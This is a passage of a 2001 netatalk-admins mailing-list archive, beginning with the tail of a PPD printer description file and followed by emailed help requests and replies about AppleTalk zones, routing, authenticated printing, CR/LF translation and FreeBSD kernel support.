     {(Yes)}{(No)} ifelse =
   }
   {exit} ifelse
 }bind loop
 (*) = flush
restore
"
*End

*?FontList: "
save
  FontDirectory { pop == } bind forall flush
  (*) = flush
restore
"
*End

*% Printer Messages (verbatim from printer):
*Message: "%%[ exitserver: permanent state may be changed ]%%"
*Message: "%%[ Flushing: rest of job (to end-of-file) will be ignored ]%%"
*Message: "\FontName\ not found, using Courier"

*% Status (format: %%[ status: <one of these> ]%% )
*Status: "idle"
*Status: "busy"
*Status: "waiting"
*Status: "printing"
*Status: "initializing"
*Status: "printing test page"
*Status: "PrinterError: timeout, clearing printer"
*Status: "PrinterError: pc life"
*Status: "PrinterError: problem with LED array"
*Status: "PrinterError: problem with fuser temp"
*Status: "PrinterError: cover open"
*Status: "PrinterError: out of toner"
*Status: "PrinterError: out of paper"
*Status: "PrinterError: no cartridge"
*Status: "PrinterError: wrong paper size"
*Status: "PrinterError: initializing"
*Status: "PrinterError: printing test page"
*Status: "PrinterError: paper jam"

*% Input Sources (format: %%[ status: <stat>; source: <one of these> ]%% )
*Source: "serial25"
*Source: "AppleTalk"
*Source: "Centronics"

*% Printer Error (format: %%[ PrinterError: <one of these> ]%%)
*PrinterError: "timeout, clearing printer"
*PrinterError: "pc life"
*PrinterError: "problem with LED array"
*PrinterError: "problem with fuser temp"
*PrinterError: "cover open"
*PrinterError: "out of toner"
*PrinterError: "out of paper"
*PrinterError: "no cartridge"
*PrinterError: "wrong paper size"
*PrinterError: "initializing"
*PrinterError: "printing test page"
*PrinterError: "paper jam"

*%DeviceAdjustMatrix: "[1 0 0 1 0 0]"

*% Color Separation Information =====================

*DefaultColorSep: ProcessBlack.60lpi.300dpi/60 lpi / 300 dpi

*InkName: ProcessBlack/Process Black
*InkName: CustomColor/Custom Color
*InkName: ProcessCyan/Process Cyan
*InkName: ProcessMagenta/Process Magenta
*InkName: ProcessYellow/Process Yellow

*%  For 60 lpi / 300 dpi  ===============================

*ColorSepScreenAngle ProcessBlack.60lpi.300dpi/60 lpi / 300 dpi: "45"
*ColorSepScreenAngle CustomColor.60lpi.300dpi/60 lpi / 300 dpi: "45"
*ColorSepScreenAngle ProcessCyan.60lpi.300dpi/60 lpi / 300 dpi: "15"
*ColorSepScreenAngle ProcessMagenta.60lpi.300dpi/60 lpi / 300 dpi: "75"
*ColorSepScreenAngle ProcessYellow.60lpi.300dpi/60 lpi / 300 dpi: "0"

*ColorSepScreenFreq ProcessBlack.60lpi.300dpi/60 lpi / 300 dpi: "60"
*ColorSepScreenFreq CustomColor.60lpi.300dpi/60 lpi / 300 dpi: "60"
*ColorSepScreenFreq ProcessCyan.60lpi.300dpi/60 lpi / 300 dpi: "60"
*ColorSepScreenFreq ProcessMagenta.60lpi.300dpi/60 lpi / 300 dpi: "60"
*ColorSepScreenFreq ProcessYellow.60lpi.300dpi/60 lpi / 300 dpi: "60"

*%  For 53 lpi / 300 dpi  ===============================

*ColorSepScreenAngle ProcessBlack.53lpi.300dpi/53 lpi / 300 dpi: "45.0"
*ColorSepScreenAngle CustomColor.53lpi.300dpi/53 lpi / 300 dpi: "45.0"
*ColorSepScreenAngle ProcessCyan.53lpi.300dpi/53 lpi / 300 dpi: "71.5651"
*ColorSepScreenAngle ProcessMagenta.53lpi.300dpi/53 lpi / 300 dpi: "18.4349"
*ColorSepScreenAngle ProcessYellow.53lpi.300dpi/53 lpi / 300 dpi: "0.0"

*ColorSepScreenFreq ProcessBlack.53lpi.300dpi/53 lpi / 300 dpi: "53.033"
*ColorSepScreenFreq CustomColor.53lpi.300dpi/53 lpi / 300 dpi: "53.033"
*ColorSepScreenFreq ProcessCyan.53lpi.300dpi/53 lpi / 300 dpi: "47.4342"
*ColorSepScreenFreq ProcessMagenta.53lpi.300dpi/53 lpi / 300 dpi: "47.4342"
*ColorSepScreenFreq ProcessYellow.53lpi.300dpi/53 lpi / 300 dpi: "50.0"

*% For "Silentwriter" version 47.0 revision 2
*% Produced by "BuildPPD.ps" version 3.0 edit 58
*% Converted to meet 4.0 specification
*% Last Edit Date: Sep 15 1992
*% The byte count of this file should be exactly 011185 or 011522
*% depending on the filesystem it resides in.
*% end of PPD file for Silentwriter

--Boundary-=_nWlrBbmQBhCDarzOwKkYHIDdqSCD--

From netatalk.administrators-errors@umich.edu  Wed Jan 31 22:45:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA21251
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 22:45:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA20339
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 22:45:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA20320
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 22:45:23 -0500 (EST)
Received: from maths.otago.ac.nz (emmy.otago.ac.nz [139.80.48.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA20278
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 22:45:21 -0500 (EST)
Received: from maths.otago.ac.nz (pyro.otago.ac.nz [139.80.48.2])
	by maths.otago.ac.nz (8.11.0/8.9.3) with ESMTP id f113jK127799
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 16:45:20 +1300
Message-ID: <3A78DD5B.4885426A@maths.otago.ac.nz>
Date: Thu, 01 Feb 2001 16:51:55 +1300
From: Greg Trounson <gregt@maths.otago.ac.nz>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Zone names with spaces
References: <3A78B11A.6147DC64@maths.otago.ac.nz>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I discovered what the problem was.

Since we are using old PCs as print servers, we had Red Hat 5.2
installed on them, with a version of Netatalk that does not include the
@${ATALK_ZONE} directives in the /etc/rc.d/init.d/atalk [start] section.
So it wasn't the fact that there were spaces in the zone names after
all.

All I did was manually insert the zone information onto the end of the
register scripts, and away it went!

thank you,
Greg


Greg Trounson wrote:
> 
> Greetings,
> 
> We are trying to set up a series of print servers that will service
> (among other protocols) Appletalk.  The problem is that we are in a zone
> called Mathstat DN (notice the space character).
> 
> We have not been able to find a way to tell netatalk the name of our
> zone.  Simply having the text Mathstat DN in the configuration file
> doesn't work, and including it in "quote marks" also doesn't work.
> Is there a proper way to configure netatalk to recognise zone names that
> include spaces?  Unfortunately we cannot simply change our zone name as
> we are part of a much larger institution.
> 
> thank you,
> Greg
> 
> --
> --------------------------------------------------------------
>  Greg Trounson                          Programmer / Analyst
>  Dept. of Maths and Stats,              Otago University
>  PO. Box 56, Dunedin                    tel:64-3-4797739
>  New Zealand
> ------------------=[ gregt@maths.otago.ac.nz ]=---------------

-- 
--------------------------------------------------------------
 Greg Trounson                          Programmer / Analyst
 Dept. of Maths and Stats,              Otago University
 PO. Box 56, Dunedin                    tel:64-3-4797739
 New Zealand
------------------=[ gregt@maths.otago.ac.nz ]=---------------

From netatalk.administrators-errors@umich.edu  Wed Jan 31 22:52:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA21379
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 22:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA06817
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 22:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA06795
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 22:52:41 -0500 (EST)
Received: from gate.tellurian.net (gate.tellurian.net [216.182.1.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA06759
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 22:52:39 -0500 (EST)
Received: from calvin.fantasia.net (unverified [216.182.24.21]) by gate.tellurian.net
 (Rockliffe SMTPRA 4.5.4) with ESMTP id <B0020226881@gate.tellurian.net> for <netatalk-admins@umich.edu>;
 Wed, 31 Jan 2001 22:53:02 -0500
Message-Id: <5.0.2.1.2.20010131224426.00a2d370@192.168.1.1>
X-Sender: eric@192.168.1.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 31 Jan 2001 22:49:20 -0500
To: netatalk-admins@umich.edu
From: Eric Yung <eric@fantasia.net>
Subject: Netatalk help?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I've browsed the mailing lists and I think I've come across something not 
discussed before.

I'm using netatalk+asun on a Linux Redhat 6.2 system under a 2.2.18 kernel.

I'm trying to use netatalk as a router.  When I leave atalkd.conf as 
nothing more than 'eth0', everything works fine - no problems what so ever.

When I change it to use a second interface (so that atalkd.conf contains 
the following):

eth0
eth1 -seed -phase 2 -net 65180-65181 -zone "something"	

I get something odd - the linux router can no longer see any machine not in 
zone 'something' - I can see all machines in the local zone 'something' but 
no machines on any other zones.  Since this doesn't occur with only one 
interface defined, I presume it's simply a netatalk software problem?
-----------------------------------------------------------------------
Eric Yung          Obviously I've made a serious vocational error.
eric@fantasia.net



From netatalk.administrators-errors@umich.edu  Thu Feb  1 09:30:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05445
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Feb 2001 09:30:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11183
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Feb 2001 09:30:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11163
	for netatalk.administrators-members@umich.edu; Thu, 1 Feb 2001 09:30:07 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11117
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 09:30:06 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA03563;
	Thu, 1 Feb 2001 09:30:04 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A797293.3DA51D14@univrel.pr.uconn.edu>
Date: Thu, 01 Feb 2001 09:28:35 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Marc D. Taylor" <mdtaylor@uiuc.edu>
CC: netatalk-admins@umich.edu
Subject: Re: Printer Authentication
References: <4.2.2.20010131151819.03a1ae40@beckman.uiuc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Marc D. Taylor" wrote:
> We were wondering if Netatalk is capable of supporting authenticated
> printing.  Can one restrict netatalk from printing to a spooling device
> unless the user has mounted their personal drive or some sort of public
> drive?  We found this feature in CAP to be very useful since we charge for
> printing here.

Yes, the current prerelease of netatalk (1.5pre3) supports authenticated
printing through the UAMs (User Authentication Modules). There is a fair
amount of documentation now available on this in the distribution, and
there should be some in the mailing list archives as well.

To get the newest release from sourceforge, go to:
http://sourceforge.net/projects/netatalk/

jeff

From netatalk.administrators-errors@umich.edu  Thu Feb  1 18:33:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA21059
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Feb 2001 18:33:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17588
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Feb 2001 18:33:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17572
	for netatalk.administrators-members@umich.edu; Thu, 1 Feb 2001 18:33:27 -0500 (EST)
Received: from mail.greatbasin.net (mail.greatbasin.net [207.228.35.39])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA17518
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 18:33:25 -0500 (EST)
Received: from [172.16.1.6] (rno-dsl0b-131.gbis.net [216.82.145.131])
	by mail.greatbasin.net (8.9.3-MySQL-0.2.3b/8.9.3) with ESMTP id PAA20206
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 15:33:31 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 01 Feb 2001 15:33:32 -0800
Subject: CRLF fun stuff again...
From: Jeremy Buchmann <jeremy@wellsgaming.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B69F324C.DD9%jeremy@wellsgaming.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello,
    I have just installed netatalk 1.4b2 and cannot get it to do the
CRLF->LF translation when copying files from a Mac to my Linux machine.  I
didn't make any changes to the makefile other than specifying the DESTDIR.
Here is my AppleVolumes.default:
/somewhere/import "Import" options=crlf,noadouble

and here is my AppleVolumes.system:
.txt TEXT UNIX
.txt TEXT FOXX
.    TEXT UNIX

(I have tried all sorts of variations of the above lines, none work)
And here is my afpd.conf:
"Import" -nouservol

The files I copy over are text files with the .txt extension generated by
Visual FoxPro (FOXX).  Any ideas?

--Jeremy


From netatalk.administrators-errors@umich.edu  Fri Feb  2 07:26:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08608
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 07:26:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA13474
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 07:26:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA13466
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 07:26:23 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA13456
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 07:26:22 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id A693E5ED00F6; Fri, 02 Feb 2001 06:22:43 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: "Netatalk Admins" <netatalk-admins@umich.edu>,
        "Appletalk Netatalk group" <linux-atalk@netspace.org>,
        <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Subject: Mac Manager and Linux box as Group storage.
Date: Fri, 2 Feb 2001 06:30:07 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOIELIDJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To:  <p04330126b69f5ea3c753@[158.223.25.222]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Has anyone set up a Linux box as the Location of Home
directories/Groupstorage yet on Macintosh Manager (using OSX or even ASIP
6)?  I am wanting to implement this next year, but am not really sure how to
go about it yet.

If anyone has suggestions/ideas/or experience, please drop me a line.

Thanks

Heath Henderson


From netatalk.administrators-errors@umich.edu  Fri Feb  2 08:23:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA09629
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 08:23:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA02224
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 08:23:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA02204
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 08:23:46 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA02154
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 08:23:45 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f12DNgZ06427;
	Fri, 2 Feb 2001 13:23:43 GMT
To: netatalk-admins@umich.edu
cc: jeremy@wellsgaming.com
Subject: Re: CRLF fun stuff again...
References: <B69F324C.DD9%jeremy@wellsgaming.com>
Reply-To: sinclair@dis.strath.ac.uk
Date: Fri, 02 Feb 2001 13:23:42 +0000
Message-ID: <6425.981120222@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

Jeremy writes:
>Hello,
>    I have just installed netatalk 1.4b2 and cannot get it to do the
>CRLF->LF translation when copying files from a Mac to my Linux machine.

> ...

>The files I copy over are text files with the .txt extension generated by
>Visual FoxPro (FOXX).  Any ideas?

This is (as far as I'm concerned) the single biggest bug in netatalk.

The problem is that the cr/lf translation only happens when netatalk
sees that the file is text before it is written.  Unfortunately, since
MacOS 8, the Finder doesn't set the file type to TEXT until after the
copy is finished.  Thus no cr/lf conversion.

The only way to make this work properly is to re-process files when
their type is changed to "TEXT".  There are, of course, big gotchas
over this, like the Mac might expect a simple attribute change to
happen in an instant, rather than having to wait for as long as it
takes to re-write the text file.

Here's my proposed solution:
  * A second "helper" process would run along side the main afpd process,
    tied to it with pipes.
  * tasks would be handed to it like "do a cr/lf translation of this file".
  * it would have to take care to lock files.
  * tasks are done serially - to make sure nothing gets screwed.
  * there may be other types of thing it could be used for.

This would not be a trivial amount of code.

Every time I have had a few spare hours to look at this I'm been scared
away by the complexity of the afpd code.  I don't think I'll have
sufficient time to actually write any code to do this in the forseeable
future.

Until now, every time I mention this problem, people tell me that I
shouldn't want to do cr/lf translation, and it's an ugly hack.  My reply
is that it is necessary for cross platform file manipulation, and I
really, actually, want it, thank you very much.

I now hope that someone will email me back saying that this is fixed in
the latest beta version.  (please!)

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Fri Feb  2 19:10:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08495
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 19:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 19:10:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02659
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 19:10:10 -0500 (EST)
Received: from servo.sjmarketing.com (adsl-64-161-35-162.dsl.renocs.nvbell.net [64.161.35.162])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA02618
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 19:10:08 -0500 (EST)
Received: from [192.168.1.103] (bean [192.168.1.103])
	by servo.sjmarketing.com (8.11.1/8.11.1) with ESMTP id f130AIn30735
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 16:10:18 -0800 (PST)
	(envelope-from rvisger@sjmarketing.com)
Mime-Version: 1.0
X-Sender: rvisger_sjmarketing@pop2.sierraweb.com
Message-Id: <p05010400b6a0fabd94b2@[192.168.1.103]>
Date: Fri, 2 Feb 2001 16:10:03 -0800
To: netatalk-admins@umich.edu
From: Bean Visger <rvisger@sjmarketing.com>
Subject: Chooser Problems...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

howdy, trying to get the server name to show up in Chooser, 
webmonkeys are lazy and don't like typing in IP address...

here are the specs:

FreeBSD 4.1-RELEASE
netatalk-1.4b2+asun2.1.3_1


content of atalkd.conf:
	fxp0 -phase 2 -net 0-65534 -addr 65280.103
content of afpd.conf:
	servo "Tom Servo" -transall

when I try & restart netatalk, I get these syslog messages:

Feb  2 15:51:14 servo papd[30656]: restart (1.4b2+asun2.1.3)
Feb  2 15:51:14 servo papd[30656]: atp_open: Protocol not supported
Feb  2 15:51:14 servo afpd[30658]: main: atp_open: Protocol not supported

any ideas? it almost sounds like netatalk isn't shutting down / 
starting up properly... I'd really rather not reboot the box, I'm an 
uptime whore :)

	thanks,
	 -Rebecca 'Bean' Visger
	 System Administrator / Smith & Jones

From netatalk.administrators-errors@umich.edu  Fri Feb  2 19:20:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08778
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 19:20:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12108
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 19:19:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12101
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 19:19:56 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA12078
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 19:19:55 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f130HJr04218;
	Fri, 2 Feb 2001 19:17:20 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7B4DEC.3EDAF0FF@mail.iowna.com>
Date: Fri, 02 Feb 2001 19:16:44 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Bean Visger <rvisger@sjmarketing.com>
CC: netatalk-admins@umich.edu
Subject: Re: Chooser Problems...
References: <p05010400b6a0fabd94b2@[192.168.1.103]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I could be wrong, but it seems like you don't have appletalk support in
your kernel. Are you sure Netatalk is running at all? Can you connect at
all (with an IP addy?)
A default kernel won't have appletalk support. You'll have to add:
options		NETATALK
and recompile your kernel, then (sorry) reboot.

-Bill

Bean Visger wrote:
> 
> howdy, trying to get the server name to show up in Chooser,
> webmonkeys are lazy and don't like typing in IP address...
> 
> here are the specs:
> 
> FreeBSD 4.1-RELEASE
> netatalk-1.4b2+asun2.1.3_1
> 
> content of atalkd.conf:
>         fxp0 -phase 2 -net 0-65534 -addr 65280.103
> content of afpd.conf:
>         servo "Tom Servo" -transall
> 
> when I try & restart netatalk, I get these syslog messages:
> 
> Feb  2 15:51:14 servo papd[30656]: restart (1.4b2+asun2.1.3)
> Feb  2 15:51:14 servo papd[30656]: atp_open: Protocol not supported
> Feb  2 15:51:14 servo afpd[30658]: main: atp_open: Protocol not supported
> 
> any ideas? it almost sounds like netatalk isn't shutting down /
> starting up properly... I'd really rather not reboot the box, I'm an
> uptime whore :)
> 
>         thanks,
>          -Rebecca 'Bean' Visger
>          System Administrator / Smith & Jones

From netatalk.administrators-errors@umich.edu  Fri Feb  2 19:25:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08887
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 19:25:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11993
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 19:25:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11974
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 19:25:33 -0500 (EST)
Received: from servo.sjmarketing.com (adsl-64-161-35-162.dsl.renocs.nvbell.net [64.161.35.162])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA11917
	for <netatalk-admins@umich.edu>; Fri, 2 Feb 2001 19:25:31 -0500 (EST)
Received: from [192.168.1.103] (bean [192.168.1.103])
	by servo.sjmarketing.com (8.11.1/8.11.1) with ESMTP id f130PXn30780;
	Fri, 2 Feb 2001 16:25:34 -0800 (PST)
	(envelope-from rvisger@sjmarketing.com)
Mime-Version: 1.0
X-Sender: rvisger_sjmarketing@pop2.sierraweb.com
Message-Id: <p05010401b6a10032dd35@[192.168.1.103]>
In-Reply-To: <3A7B4DEC.3EDAF0FF@mail.iowna.com>
References: <p05010400b6a0fabd94b2@[192.168.1.103]>
 <3A7B4DEC.3EDAF0FF@mail.iowna.com>
Date: Fri, 2 Feb 2001 16:25:22 -0800
To: Bill Moran <wmoran@mail.iowna.com>
From: Bean Visger <rvisger@sjmarketing.com>
Subject: Re: Chooser Problems...
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

ah yes, sorry I didn't include that as well, it is running, and I am 
able to connect via IP address from the chooser, it just won't show 
in the list. thx :)

	-Bean

>I could be wrong, but it seems like you don't have appletalk support in
>your kernel. Are you sure Netatalk is running at all? Can you connect at
>all (with an IP addy?)
>A default kernel won't have appletalk support. You'll have to add:
>options		NETATALK
>and recompile your kernel, then (sorry) reboot.
>
>-Bill
>
>Bean Visger wrote:
>>
>>  howdy, trying to get the server name to show up in Chooser,
>>  webmonkeys are lazy and don't like typing in IP address...
>>
>>  here are the specs:
>>
>>  FreeBSD 4.1-RELEASE
>>  netatalk-1.4b2+asun2.1.3_1
>>
>>  content of atalkd.conf:
>>          fxp0 -phase 2 -net 0-65534 -addr 65280.103
>>  content of afpd.conf:
>>          servo "Tom Servo" -transall
>>
>>  when I try & restart netatalk, I get these syslog messages:
>>
>>  Feb  2 15:51:14 servo papd[30656]: restart (1.4b2+asun2.1.3)
>>  Feb  2 15:51:14 servo papd[30656]: atp_open: Protocol not supported
>>  Feb  2 15:51:14 servo afpd[30658]: main: atp_open: Protocol not supported
>>
>>  any ideas? it almost sounds like netatalk isn't shutting down /
>>  starting up properly... I'd really rather not reboot the box, I'm an
>>  uptime whore :)
>>
>  >         thanks,
>  >          -Rebecca 'Bean' Visger
>  >          System Administrator / Smith & Jones


From netatalk.administrators-errors@umich.edu  Fri Feb  2 23:36:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA13904
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Feb 2001 23:36:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA28359
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Feb 2001 23:36:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA28348
	for netatalk.administrators-members@umich.edu; Fri, 2 Feb 2001 23:36:29 -0500 (EST)
